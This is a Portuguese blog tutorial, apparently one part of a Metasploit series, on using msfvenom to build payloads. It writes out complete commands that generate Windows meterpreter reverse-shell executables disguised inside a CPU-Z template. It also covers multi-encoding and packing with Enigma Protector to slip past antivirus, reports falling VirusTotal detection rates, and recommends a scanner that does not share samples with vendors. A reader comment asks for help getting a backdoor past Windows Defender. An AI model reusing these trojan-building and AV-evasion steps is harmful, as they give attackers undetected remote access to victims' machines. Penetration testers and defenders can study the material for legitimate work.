Metasploit Framework de cabo a rabo – Parte 6
Fala galera! No post de hoje, dando continuidade a série Metasploit, iremos falar sobre o msfvenom. Iremos aprender mais sobre a geração de payloads personalizados, encoding, além de técnicas de obfuscação de antivírus.
Caso você ainda não tenha visto os outros posts da série Metasploit, recomendo fortemente a leitura antes de continuar aqui. Já falei um pouco sobre a história do Metasploit, terminologias, interfaces, arquitetura, utilitários, integração com banco de dados, scanner de rede, utilização de módulos para MSSQL e SNMP, scanners de vulnerabilidade, Metasploit Community, Meterpreter, Mimikatz e muito mais. Para checar acesse:
MSFVenom
A maioria dos softwares antivírus usam assinaturas como principal meio para identificar códigos maliciosos presentes em um arquivo. Essas assinaturas são carregadas nos antivírus e usadas para scanear o disco e realizar outras análises on-demand. Quando um malware é encontrado, o antivírus executa determinadas ações, como colocar o binário em quarentena ou matar o processo em execução.
Para fugir do antivírus, podemos criar payloads personalizados que não corresponderão a nenhuma das assinaturas. Além disso, quando estamos explorando um sistema, os payloads do Metasploit são projetados para serem executados na memória e nunca para gravar dados no disco. Quando enviamos um payload como parte de um exploit, a maioria dos programas antivírus não detectam que ele foi executado no alvo. E para poder realizar essa tarefa o Metasploit conta com o utilitário “msfvenom”, eu já falei um pouquinho sobre ele no primeiro post da série, mas hoje nos vamos aprender a utilizá-lo de verdade.
Lista de plataformas
Antes de começarmos a gerar nosso payload precisamos ter em mente qual é a plataforma que o nosso alvo utiliza, o Metasploit suporta uma lista bem extensa de plataformas, como podemos ver na saída do comando “msfvenom –help-platforms” abaixo:
Lista de payloads
Assim como nos módulos de exploit do Metasploit, nos também precisamos definir o payload que iremos utilizar e configurar suas opções. Os payloads disponíveis no “msfvenom” são os mesmos do “msfconsole”. Na data em que eu estou escrevendo esse post o MSF conta com uma lista de 536 payloads como podemos ver na saída do comando “msfvenom -l payloads” abaixo:
Lista de encoders
Um dos maiores benefícios de usar o msfvenom é a possibilidade de encodar nossos payloads, essa técnica nos ajuda muito no processo de bypass dos antivírus. O MSF conta com uma lista bem grande de encoders que podemos utilizar. Porém temos que usar essa funcionalidade com cautela, se você exagerar no encoder o código pode dar crash, por isso é muito importante testar antes. Abaixo podemos ver na saída do comando “msfvenom -l encoders”.
Lista de formatos
Assim como as plataformas, payloads e encoders que o Metasploit suporta, ele também suporta uma série de formatos na hora de gerar o paylaod. Basicamente tudo o que se precisa está na lista abaixo:
Lista de parâmetros
Agora que você já conhece as plataformas, payloads, encoders e formatos suportados pelo MSFVenom, vamos conhecer suas principais opções de parâmetro. Eu não vou explicar todos os comandos existentes, mas você pode usar a opção “-h” para obter mais informações sobre os demais comandos.
--arch | -a
Define a arquitetura que será utilizada no payload, x86 ou x64.
--platform
Define a plataforma do payload, podendo ser qualquer uma da lista que vimos acima.
--payload | -p
Define o payload que será utilizado, podendo ser qualquer um da lista que vimos acima.
--encoder | -e
Define o encoder que será utilizado, podendo ser qualquer um da lista que vimos acima.
--iterations | -i
Define a quantidade de interações que o payload vai ter com o encoder.
--template | -x
Define um executável como template para o payload.
-k
Preserva o comportamento do template e injeta o payload como uma nova thread.
--format | -f
Define o formato de saída do payload, podendo ser qualquer um da lista que vimos acima.
--out | -o
Salva o payload.
--bad-chars | -b
Define os caracteres que serão evitados. Ex: ‘\xff’ e ‘\x00’
--smallest
Gera o menor payload possível.
--list | -l
Lista as opções de módulos disponíveis. Ex: payloads, encoders, nops, all.
Bypass de AV
Agora chegou a hora de colocar na prática o que aprendemos até agora, vamos gerar alguns executáveis Windows de diferentes maneiras e testá-los. Aqui eu vou utilizar o site virustotal.com pois só estou demonstrando exemplos, esse site permite fazer upload de arquivos para serem verificados por dezenas de antivírus de mercado, desde os mais conhecidos até os que nunca ouvimos falar. Porém nem tudo são flores, esse site essas análises para as empresas de antivírus, em outras palavras ele ajuda a alimentar as assinaturas que nos estamos tentando evitar. Quando eu tenho que fazer algum bypass eu utilizo uma VM com o AV que preciso testar, ou utilizo o site nodistribute.com, que não fornece dados para as empresas de AV.
Exemplo 1
Primeiro eu vou gerar um payload bem simples, sem nenhum tipo de encode só para ver quais AVs irão identificá-lo. Eu não vou ficar explicando os parâmetros pois já fiz isso no tópico acima, caso você tenha alguma dúvida é só deixar um comentário.
# msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=443 -f exe -o /var/www/html/trojan.exe
Agora que nosso payload foi gerado vamos analisá-lo no VT, abaixo você pode conferir o resultado da análise. Perceba que gerando um payload extremamente simples, sem nenhum encode ou outras técnicas de obfuscação nós já conseguimos burlar alguns AV, sendo alguns deles bem conhecidos no mercado.
Exemplo 2
Agora iremos gerar o mesmo payload porém utilizando um encoder para tentar burlar os AVs. No exemplo abaixo eu estou utilizando o cmb/powershell_base64 que é um dos dois únicos encoders categorizados como excelente no MSF.
# msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=443 -e cmd/powershell_base64 -f exe-only -o /var/www/html/trojan_encode.exe
Assim como no exemplo acima, vamos analisá-lo no VT. Perceba que a quantidade de AV que foi capaz de identificar o malware caiu drasticamente de 38/66 para 18/66. Diversos AV de mercado extremamente conhecidos como Avast, AVG, Avira, BitDefender, Comodo, Panda, Symantec, McAfee, TrendMicro e outros não foram capazes de identificar o malware. Isso por que utilizamos um simples encoder, como nós veremos mais pra baixo, ainda temos a opção de utilizar multiencoders, ou seja, combinar mais de um encoder para aumentar a chance de bypass.
Exemplo 3
No nosso terceiro exemplo, eu vou gerar um payload utilizando um template. Vou utilizar a versão portátil do CPU-z como template para o nosso malware.
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=443 -x /root/cpuz_x32.exe -k -e cmd/powershell_base64 -i 17 -n 99598 -f exe -o /var/www/html/trojan_encode_template.exe
No resultado da análise podemos observar que mais AVs detectaram nosso malware, entretanto continuamos fazendo o bypass em alguns AVs bastante utilizados como Comodo, McAfee, Panda, Sophos entre outros. Utilizar um template nem sempre é uma boa opção como podemos notar, mas ainda é útil em diversos casos.
Multi-encoders
Para tentar obter maiores resultados nos podemos utilizar a opção de multi-encoders, essa opção permite codificar o payload diversas vezes utilizando diferentes encoders para burlar os AVs. Entretanto é preciso utilizar esse recurso com moderação, pois caso você encode o payload de maneira excessiva ele pode não funcionar. Abaixo segue um exemplo de geração de um payload utilizando muti-encoding:
# msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=443 -b '\x00' -f raw | msfvenom -a x64 --platform windows -e x64/xor -i 2 -f raw | msfvenom -a x64 --platform windows -e cmd/powershell_base64 -f exe-only -o /var/www/html/payload_multiencoder.exe
Veja que utilizando a técnica de multi-encoding nos conseguimos diminuir de forma simbólica a quantidade de AVs capazes de identificar o nosso malware, no exemplo 2 acima nos utilizamos o encoding simples e tivemos uma taxa de detecção de 18/66.
Criptografando o payload
Uma outra técnica de bypass que é muito útil é criptografar nosso malware, isso dificulta que os AVs possam analisar nosso payload por completo. Essa prática é originalmente usada para dificultar a engenharia reversa de softwares, porém nos utilizamos o mesmo procedimento para fazer bypass de AVs. Eu vou usar o software The Enigma Protector para criptografar nossos payloads que geramos acima e vou analisá-los novamente para vermos a diferença. Vale lembrar que para criptografar payloads de arquitetura de 32bits temos que usar a versão do Enigma da mesma arquitetura, a mesma regra cabe para payloads de 64bits.
O Enigma tem dezenas de opções que podemos configurar, porém as opções padrão já fazer toda diferença para a nossa finalidade. Para usar o Enigma é muito simples, basta abrir o software adicionar o payload gerado no campo input e mandar proteger.
Depois que criptografado, eu analisei o arquivo e veja como temos um resultado absurdamente significativo. Tivemos uma queda de 32/66 para 10/66 na quantidade de AVs capazes de identificar o payload. A maioria dos AVs mais conhecidos foram bypassados.
Esse número baixa ainda mais quando criptografamos o segundo payload gerado (trojan_encode). Chegamos a um resultado de 6/65 dos 18/66 iniciais. Com esses exemplos podemos ver que ter um antivírus na máquina não é garantia de proteção.
Para poder receber a conexão da nossa vítima basta utilizar o módulo multi/handler do Metasploit:
Bem pessoal é isso ai, espero que tenham curtido. No próximo post da série iremos aprender mais algumas funcionalidades do Metasploit. Não preciso dizer que esse post tem fins educacionais apenas, não utilize esse conhecimento para fins maliciosos. Não esqueçam de curtir nossas páginas nas redes sociais, Facebook, G+ e seguir o Guia do Ti no Twitter. Compartilhem e comentem esse artigo, isso é muito importante para divulgação do nosso trabalho.
Referências
Book: Metasploit - The Penetration Tester's Guide https://www.offensive-security.com/metasploit-unleashed/ https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
- Metasploit Framework de cabo a rabo – Parte 6 - 4 de junho de 2018
- Metasploit Framework de cabo a rabo – Parte 5 - 28 de maio de 2018
- CEH – Scanning Networks – Parte 2 - 24 de maio de 2018
excelente trabalho, e realmente bom
Hey , eu crio um payload em formato raw e insiro ele num executável usando o programa shellter, o antivírus Windows defender atualizado do Windows 10 inicialmente não detecta a backdoor mas depois que o arquivo é executado a conexao chega a iniciar mas é interrompida logo em seguida e o Windows defender encontra uma ameaça ( que não é o exe que foi executado). Fiz várias pesquisas mas não sei o que fazer pois não entendo muito do assunto , você pode me dar alguma dica por favor? Não sei como corrigir isso.